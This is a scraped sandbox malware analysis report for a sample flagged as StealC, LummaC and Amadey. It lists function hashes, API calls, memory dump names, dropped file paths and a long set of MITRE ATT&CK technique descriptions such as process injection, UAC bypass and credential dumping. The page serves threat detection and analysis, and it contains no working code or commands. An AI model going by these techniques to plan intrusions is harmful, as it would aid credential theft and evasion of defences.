Instruction ID: 8800cbbaabcb4e65eb752727b7520098e5a1080de1cc433df834cfe85e1ff072
Opcode Fuzzy Hash: b6bb7d388052e0cdc322c2fcd809fba566db2f633b6fcc0fedcdc60f332ecf9f
Instruction Fuzzy Hash: D9010972B051018FD700AFBCDA8561AB7F1FB46704F68896CD859C7215E731E891DB83

Function 61EAFEE0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 61EAFEEE
TlsGetValue.KERNEL32 ref: 61EAFF15
GetLastError.KERNEL32 ref: 61EAFF1C
LeaveCriticalSection.KERNEL32 ref: 61EAFF3C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction ID: 3c942bbf6517c0ec0331f125ad054bd991ea38a51cb55fe1ac34f487ea1a944f
Opcode Fuzzy Hash: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction Fuzzy Hash: C0F081B6A016008FDB00BFB9A98951A7BA8EB46A44B19416CD9548B309D730E885CBE3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre